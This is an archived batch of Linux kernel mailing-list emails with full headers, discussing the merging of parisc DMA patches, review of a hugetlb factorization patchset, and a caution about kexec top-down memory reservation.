List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:25385 gmane.linux.ports.parisc:28803
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/25385>

On Sun, Jul 22, 2018 at 05:45:40PM +0200, Helge Deller wrote:
> Somehow I now can't reproduce the cache issues any longer. Both, your original
> patch and when using flush_kernel_vmap_range(), both work.
> 
> So, you can add a 
> Tested-by: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
> to your original patch series.

I can merge this through the dma-mapping tree, but given that
it touches only arch/parisc/ it might make more sense to merge it
through the parisc tree.

From - Thu Nov 08 21:41:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.parisc
Subject: Re: convert parisc to the generic dma-noncoherent code
Date: Mon, 23 Jul 2018 07:46:17 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <243f489e-bff9-8e09-7f53-a64bd4b1465e@gmx.de>
References: <20180619070455.26624-1-hch@lst.de> <20180711153445.GC31946@lst.de>
	<e2b653d8-cc04-7a81-89a0-9d286c5cc0ca@gmx.de>
	<e29f9140-0d47-e074-1609-d6ae8f8869b3@bell.net>
	<20180717131952.GF13582@lst.de>
	<c080d766-5b7b-2776-848c-60da09bd2c9c@gmx.de>
	<20180722195722.GA10147@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532324673 7292 195.159.176.226 (23 Jul 2018 05:44:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 23 Jul 2018 05:44:33 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
	Thunderbird/52.5.2
Cc: James Bottomley <James.Bottomley-d9PhHud1JfjCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>,
	iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org, John David Anglin <dave.anglin-CzeTG9NwML0@public.gmane.org>,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Mon Jul 23 07:44:29 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fhTdy-0001in-Dh
	for glki-iommu@m.gmane.org; Mon, 23 Jul 2018 07:44:26 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 4015D898;
	Mon, 23 Jul 2018 05:46:35 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 29A6941C
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Mon, 23 Jul 2018 05:46:33 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mout.gmx.net (mout.gmx.net [212.227.17.20])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 2621D14D
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Mon, 23 Jul 2018 05:46:31 +0000 (UTC)
Original-Received: from [192.168.20.60] ([92.116.162.242]) by mail.gmx.com (mrgmx102
	[212.227.17.168]) with ESMTPSA (Nemesis) id 0MZfZi-1fRSBm1cRq-00LVAF;
	Mon, 23 Jul 2018 07:46:20 +0200
Openpgp: preference=signencrypt
Autocrypt: addr=deller-Mmb7MZpHnFY@public.gmane.org; prefer-encrypt=mutual; keydata=
	xsBNBFDPIPYBCAC6PdtagIE06GASPWQJtfXiIzvpBaaNbAGgmd3Iv7x+3g039EV7/zJ1do/a
	y9jNEDn29j0/jyd0A9zMzWEmNO4JRwkMd5Z0h6APvlm2D8XhI94r/8stwroXOQ8yBpBcP0yX
	+sqRm2UXgoYWL0KEGbL4XwzpDCCapt+kmarND12oFj30M1xhTjuFe0hkhyNHkLe8g6MC0xNg
	KW3x7B74Rk829TTAtj03KP7oA+dqsp5hPlt/hZO0Lr0kSAxf3kxtaNA7+Z0LLiBqZ1nUerBh
	OdiCasCF82vQ4/y8rUaKotXqdhGwD76YZry9AQ9p6ccqKaYEzWis078Wsj7p0UtHoYDbABEB
	AAHNHEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT7CwJIEEwECADwCGwMGCwkIBwMCBhUI
	AgkKCwQWAgMBAh4BAheAFiEE9M/0wAvkPPtRU6Boh8nBUbUeOGQFAlrHzIICGQEACgkQh8nB
	UbUeOGT1GAgAt+EeoHB4DbAx+pZoGbBYp6ZY8L6211n8fSi7wiwgM5VppucJ+C+wILoPkqiU
	+ZHKlcWRbttER2oBUvKOt0+yDfAGcoZwHS0P+iO3HtxR81h3bosOCwek+TofDXl+TH/WSQJa
	iaitof6iiPZLygzUmmW+aLSSeIAHBunpBetRpFiep1e5zujCglKagsW78Pq0DnzbWugGe26A
	288JcK2W939bT1lZc22D9NhXXRHfX2QdDdrCQY7UsI6g/dAm1d2ldeFlGleqPMdaaQMcv5+E
	vDOur20qjTlenjnR/TFm9t 
In-Reply-To: <20180722195722.GA10147-jcswGhMUV9g@public.gmane.org>
Content-Language: en-US
X-Provags-ID: V03:K1:Nk+5oFZH63VbnVADuJH2wHf8dKaAJFHmu5dMjU4+1sKThF9tulu
	xfIZxqCRioaJKwyzG/+FfeiwNklWYTWbtdSene74dy/6NEYOZEZTiBoHlXHMWb/oHE+1Gc+
	8FAu144MpG3afEDK3UIZQgBuESuRZr6U0v3X3MU5fbrA/JV98KwxyUp7KoOMmdxnQlIRzgP
	yCSaMd+fBSevXlpzvQ5DQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ZhDhAn2AL2c=:JX7Z+wYs9ZfA0vwNSGkB4d
	xXaxZ6qKyMF651oNZUDOymp/tbYNB1hYP74Sj009mBjqc9U/a3WmSHZD06jJRqmcfgKR0fgrB
	7EUhNlccBVtGalaIu5IvelXxSJ8BnMNYV+kDKeBx/IpaEyW/wsXMnyIOFfUJtXxmgJayq5xyW
	8VPzjLiAXHH4kSSwvxqNdcabpkBVuUGJbpfdSGxix3P4KimteDgS1IDVa5/JFIOS58q8vxt+i
	7Js98RsCRrGwJ1dMjIUI4U8jRFtJ4Iuy62BtS/RufRsk4E4+zMmeY8IuU9uFKbw6MiLSC9S8u
	EDy/DjJhoDzsAsaL6MzsGhuxaylfkAhjHkVIqEEZk8hAwjzyAnnjicRc8LrESMl60NeSUxdw0
	7wa8XZ9EAiRRacuR8rKVZZZfXS+MOU2CKJH6tuOEMn1WgXshSXwYAWe4QYpB5JTrIN1CbC0oJ
	Bkp/l5PbPZd4oNda3qtrQuw0XPDt0XUIymVpivTrR+7l8ZuSeVpU58RWV6KV3gsNcp+P5l8C9
	WVnTzVfmPm31YqIPKTNvW8/SaCBrhmEHd1ioubF79DQDubROAJUWVEikSBtooZa/LDhfq9orV
	n+LOYYS2UMe3qpG5vX9wX1jda16UJi6WxBo33HztJib40hGWH751hhnmv6QVOqPjs9IzsFp8G
	52eOZqOiD50SUN1LmJmNQPzEwYZ3LmWlLneVN2XS7/l+rz1OOkRC3Eewct9Le/+IckFCYd4hU
	zwet3/Wyl7L43i1heRtENhIfz+PvtF7u41vIioDU/KiRpZ9s/wB0V7XPhwaG2JXNe4pxGn1N 
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:25390 gmane.linux.ports.parisc:28804
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/25390>

On 22.07.2018 21:57, Christoph Hellwig wrote:
> On Sun, Jul 22, 2018 at 05:45:40PM +0200, Helge Deller wrote:
>> Somehow I now can't reproduce the cache issues any longer. Both, your original
>> patch and when using flush_kernel_vmap_range(), both work.
>>
>> So, you can add a 
>> Tested-by: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
>> to your original patch series.
> 
> I can merge this through the dma-mapping tree, but given that
> it touches only arch/parisc/ it might make more sense to merge it
> through the parisc tree.

Sure, I will take it through the parisc tree.

Thanks!
Helge


From - Thu Nov 08 21:41:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michael Ellerman <mpe@ellerman.id.au>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 00/11] hugetlb: Factorize hugetlb architecture primitives
Date: Tue, 24 Jul 2018 00:00:37 +1000
Lines: 77
Approved: news@gmane.org
Message-ID: <87d0vehx16.fsf@concordia.ellerman.id.au>
References: <20180705110716.3919-1-alex@ghiti.fr> <20180709141621.GD22297@dhcp22.suse.cz> <2173685f-7f85-7acb-4685-2383210c5fa2@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1532354326 4976 195.159.176.226 (23 Jul 2018 13:58:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 23 Jul 2018 13:58:46 +0000 (UTC)
Cc: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, ysato@users.sourceforge.jp, dalias@libc.org,
        davem@davemloft.net, tglx@linutronix.de, mingo@redhat.com,
        hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org,
        Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>,
        Mike Kravetz <mike.kravetz@oracle.com>
To: Alex Ghiti <alex@ghiti.fr>, Michal Hocko <mhocko@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jul 23 15:58:39 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fhbMD-00017b-Sp
	for glk-linux-kernel-4@m.gmane.org; Mon, 23 Jul 2018 15:58:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S2388259AbeGWPCK (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 23 Jul 2018 11:02:10 -0400
Original-Received: from ozlabs.org ([203.11.71.1]:60391 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S2388125AbeGWPCJ (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 23 Jul 2018 11:02:09 -0400
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by ozlabs.org (Postfix) with ESMTPSA id 41Z36b2kgfz9s0w;
        Tue, 24 Jul 2018 00:00:37 +1000 (AEST)
Authentication-Results: ozlabs.org; dmarc=none (p=none dis=none) header.from=ellerman.id.au
In-Reply-To: <2173685f-7f85-7acb-4685-2383210c5fa2@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2828175 gmane.linux.ports.arm.kernel:665272 gmane.linux.ports.ia64:28947 gmane.linux.ports.mips.general:65594 gmane.linux.ports.parisc:28805 gmane.linux.ports.ppc64.devel:160297 gmane.linux.ports.sh.devel:57221 gmane.linux.ports.sparc:28105 gmane.linux.kernel.cross-arch:45453
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2828175>

Alex Ghiti <alex@ghiti.fr> writes:

> Does anyone have any suggestion about those patches ?

Cross compiling it for some non-x86 arches would be a good start :)

There are cross compilers available here:

  https://mirrors.edge.kernel.org/pub/tools/crosstool/


cheers

> On 07/09/2018 02:16 PM, Michal Hocko wrote:
>> [CC hugetlb guys - http://lkml.kernel.org/r/20180705110716.3919-1-alex@ghiti.fr]
>>
>> On Thu 05-07-18 11:07:05, Alexandre Ghiti wrote:
>>> In order to reduce copy/paste of functions across architectures and then
>>> make riscv hugetlb port (and future ports) simpler and smaller, this
>>> patchset intends to factorize the numerous hugetlb primitives that are
>>> defined across all the architectures.
>>>
>>> Except for prepare_hugepage_range, this patchset moves the versions that
>>> are just pass-through to standard pte primitives into
>>> asm-generic/hugetlb.h by using the same #ifdef semantic that can be
>>> found in asm-generic/pgtable.h, i.e. __HAVE_ARCH_***.
>>>
>>> s390 architecture has not been tackled in this serie since it does not
>>> use asm-generic/hugetlb.h at all.
>>> powerpc could be factorized a bit more (cf huge_ptep_set_wrprotect).
>>>
>>> This patchset has been compiled on x86 only.
>>>
>>> Changelog:
>>>
>>> v4:
>>>    Fix powerpc build error due to misplacing of #include
>>>    <asm-generic/hugetlb.h> outside of #ifdef CONFIG_HUGETLB_PAGE, as
>>>    pointed by Christophe Leroy.
>>>
>>> v1, v2, v3:
>>>    Same version, just problems with email provider and misuse of
>>>    --batch-size option of git send-email
>>>
>>> Alexandre Ghiti (11):
>>>    hugetlb: Harmonize hugetlb.h arch specific defines with pgtable.h
>>>    hugetlb: Introduce generic version of hugetlb_free_pgd_range
>>>    hugetlb: Introduce generic version of set_huge_pte_at
>>>    hugetlb: Introduce generic version of huge_ptep_get_and_clear
>>>    hugetlb: Introduce generic version of huge_ptep_clear_flush
>>>    hugetlb: Introduce generic version of huge_pte_none
>>>    hugetlb: Introduce generic version of huge_pte_wrprotect
>>>    hugetlb: Introduce generic version of prepare_hugepage_range
>>>    hugetlb: Introduce generic version of huge_ptep_set_wrprotect
>>>    hugetlb: Introduce generic version of huge_ptep_set_access_flags
>>>    hugetlb: Introduce generic version of huge_ptep_get
>>>
>>>   arch/arm/include/asm/hugetlb-3level.h        | 32 +---------
>>>   arch/arm/include/asm/hugetlb.h               | 33 +----------
>>>   arch/arm64/include/asm/hugetlb.h             | 39 +++---------
>>>   arch/ia64/include/asm/hugetlb.h              | 47 ++-------------
>>>   arch/mips/include/asm/hugetlb.h              | 40 +++----------
>>>   arch/parisc/include/asm/hugetlb.h            | 33 +++--------
>>>   arch/powerpc/include/asm/book3s/32/pgtable.h |  2 +
>>>   arch/powerpc/include/asm/book3s/64/pgtable.h |  1 +
>>>   arch/powerpc/include/asm/hugetlb.h           | 43 ++------------
>>>   arch/powerpc/include/asm/nohash/32/pgtable.h |  2 +
>>>   arch/powerpc/include/asm/nohash/64/pgtable.h |  1 +
>>>   arch/sh/include/asm/hugetlb.h                | 54 ++---------------
>>>   arch/sparc/include/asm/hugetlb.h             | 40 +++----------
>>>   arch/x86/include/asm/hugetlb.h               | 72 +----------------------
>>>   include/asm-generic/hugetlb.h                | 88 +++++++++++++++++++++++++++-
>>>   15 files changed, 143 insertions(+), 384 deletions(-)
>>>
>>> -- 
>>> 2.16.2


From - Thu Nov 08 21:41:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.input,gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.kexec
Subject: Re: [PATCH v7 4/4] kexec_file: Load kernel at top of system RAM if
 required
Date: Mon, 23 Jul 2018 16:34:43 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <20180723143443.GD18181@dhcp22.suse.cz>
References: <20180718024944.577-1-bhe@redhat.com>
 <20180718024944.577-5-bhe@redhat.com>
 <20180718153326.b795e9ea7835432a56cd7011@linux-foundation.org>
 <20180719151753.GB7147@localhost.localdomain>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1532356370 30001 195.159.176.226 (23 Jul 2018 14:32:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 23 Jul 2018 14:32:50 +0000 (UTC)
User-Agent: Mutt/1.10.0 (2018-05-17)
Cc: Andrew Morton <akpm@linux-foundation.org>,
        linux-kernel@vger.kernel.org, robh+dt@kernel.org,
        dan.j.williams@intel.com, nicolas.pitre@linaro.org,
        josh@joshtriplett.org, fengguang.wu@intel.com, bp@suse.de,
        andy.shevchenko@gmail.com, patrik.r.jakobsson@gmail.com,
        airlied@linux.ie, kys@microsoft.com, haiyangz@microsoft.com,
        sthemmin@microsoft.com, dmitry.torokhov@gmail.com,
        frowand.list@gmail.com, keith.busch@intel.com,
        jonathan.derrick@intel.com, lorenzo.pieralisi@arm.com,
        bhelgaas@google.com, tglx@linutronix.de, brijesh.singh@amd.com,
        jglisse@redhat.com, thomas.lendacky@amd.com,
        gregkh@linuxfoundation.org, baiyaowei@cmss.chinamobile.com,
        richard.weiyang@gmail.com, devel@linuxdriverproject.org,
        linux-input@vger.kernel.org, linux-nvdimm@lists.01.org,
        devicetree@vger.kernel.org,
To: Baoquan He <bhe@redhat.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jul 23 16:32:42 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fhbtB-0007bE-6m
	for glk-linux-kernel-4@m.gmane.org; Mon, 23 Jul 2018 16:32:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S2388402AbeGWPgV (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 23 Jul 2018 11:36:21 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:39390 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S2388183AbeGWPgV (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 23 Jul 2018 11:36:21 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (unknown [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id 73659AD39;
        Mon, 23 Jul 2018 14:34:46 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20180719151753.GB7147@localhost.localdomain>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2828221 gmane.linux.kernel.input:62085 gmane.linux.hardware.nvdimm:11116 gmane.linux.drivers.devicetree:280776 gmane.linux.kernel.pci:74156 gmane.linux.ports.parisc:28806 gmane.linux.ports.ppc64.devel:160299 gmane.linux.kernel.kexec:21253
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2828221>

On Thu 19-07-18 23:17:53, Baoquan He wrote:
> Kexec has been a formal feature in our distro, and customers owning
> those kind of very large machine can make use of this feature to speed
> up the reboot process. On uefi machine, the kexec_file loading will
> search place to put kernel under 4G from top to down. As we know, the
> 1st 4G space is DMA32 ZONE, dma, pci mmcfg, bios etc all try to consume
> it. It may have possibility to not be able to find a usable space for
> kernel/initrd. From the top down of the whole memory space, we don't
> have this worry. 

I do not have the full context here but let me note that you should be
careful when doing top-down reservation because you can easily get into
hotplugable memory and break the hotremove usecase. We even warn when
this is done. See memblock_find_in_range_node
-- 
Michal Hocko
SUSE Labs


From - Thu Nov 08 21:41:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alex Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 00/11] hugetlb: Factorize hugetlb architecture
 primitives
Date: Mon, 23 Jul 2018 17:41:26 +0000
Lines: 84
Approved: news@gmane.org
Message-ID: <2d4c19e1-f622-7747-3ba1-ff3243337b93@ghiti.fr>
References: <20180705110716.3919-1-alex@ghiti.fr>
 <20180709141621.GD22297@dhcp22.suse.cz>
 <2173685f-7f85-7acb-4685-2383210c5fa2@ghiti.fr>
 <87d0vehx16.fsf@concordia.ellerman.id.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532367578 5962 195.159.176.226 (23 Jul 2018 17:39:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 23 Jul 2018 17:39:38 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, ysato@users.sourceforge.jp, dalias@libc.org,
        davem@davemloft.net, tglx@linutronix.de, mingo@redhat.com,
        hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org,
        Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>,
        Mike Kravetz <mike.kravetz@oracle.com>,
        Michal Hocko <mhocko@kernel
To: Michael Ellerman <mpe@ellerman.id.au>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jul 23 19:39:31 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fheny-0001QQ-Sr
	for glk-linux-kernel-4@m.gmane.org; Mon, 23 Jul 2018 19:39:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S2388258AbeGWSn5 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 23 Jul 2018 14:43:57 -0400
Original-Received: from relay9-d.mail.gandi.net ([217.70.183.199]:40353 "EHLO
        relay9-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S2388037AbeGWSn4 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 23 Jul 2018 14:43:56 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from [192.168.0.11] (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay9-d.mail.gandi.net (Postfix) with ESMTPSA id B3582FF809;
        Mon, 23 Jul 2018 17:41:26 +0000 (UTC)
In-Reply-To: <87d0vehx16.fsf@concordia.ellerman.id.au>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2828413 gmane.linux.ports.arm.kernel:665333 gmane.linux.ports.ia64:28948 gmane.linux.ports.mips.general:65598 gmane.linux.ports.parisc:28807 gmane.linux.ports.ppc64.devel:160319 gmane.linux.ports.sh.devel:57222 gmane.linux.ports.sparc:28106 gmane.linux.kernel.cross-arch:45455
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2828413>

Ok will do and report when done.

Thanks for your feedback,

Alex

On 07/23/2018 02:00 PM, Michael Ellerman wrote:
> Alex Ghiti <alex@ghiti.fr> writes:
>
>> Does anyone have any suggestion about those patches ?
> Cross compiling it for some non-x86 arches would be a good start :)
>
> There are cross compilers available here:
>
>    https://mirrors.edge.kernel.org/pub/tools/crosstool/
>
>
> cheers
>
>> On 07/09/2018 02:16 PM, Michal Hocko wrote:
>>> [CC hugetlb guys - http://lkml.kernel.org/r/20180705110716.3919-1-alex@ghiti.fr]
>>>
>>> On Thu 05-07-18 11:07:05, Alexandre Ghiti wrote:
>>>> In order to reduce copy/paste of functions across architectures and then
>>>> make riscv hugetlb port (and future ports) simpler and smaller, this
>>>> patchset intends to factorize the numerous hugetlb primitives that are
>>>> defined across all the architectures.
>>>>
>>>> Except for prepare_hugepage_range, this patchset moves the versions that
>>>> are just pass-through to standard pte primitives into
>>>> asm-generic/hugetlb.h by using the same #ifdef semantic that can be
>>>> found in asm-generic/pgtable.h, i.e. __HAVE_ARCH_***.
>>>>
>>>> s390 architecture has not been tackled in this serie since it does not
>>>> use asm-generic/hugetlb.h at all.
>>>> powerpc could be factorized a bit more (cf huge_ptep_set_wrprotect).
>>>>
>>>> This patchset has been compiled on x86 only.
>>>>
>>>> Changelog:
>>>>
>>>> v4:
>>>>     Fix powerpc build error due to misplacing of #include
>>>>     <asm-generic/hugetlb.h> outside of #ifdef CONFIG_HUGETLB_PAGE, as
>>>>     pointed by Christophe Leroy.
>>>>
>>>> v1, v2, v3:
>>>>     Same version, just problems with email provider and misuse of
>>>>     --batch-size option of git send-email
>>>>
>>>> Alexandre Ghiti (11):
>>>>     hugetlb: Harmonize hugetlb.h arch specific defines with pgtable.h
>>>>     hugetlb: Introduce generic version of hugetlb_free_pgd_range
>>>>     hugetlb: Introduce generic version of set_huge_pte_at
>>>>     hugetlb: Introduce generic version of huge_ptep_get_and_clear
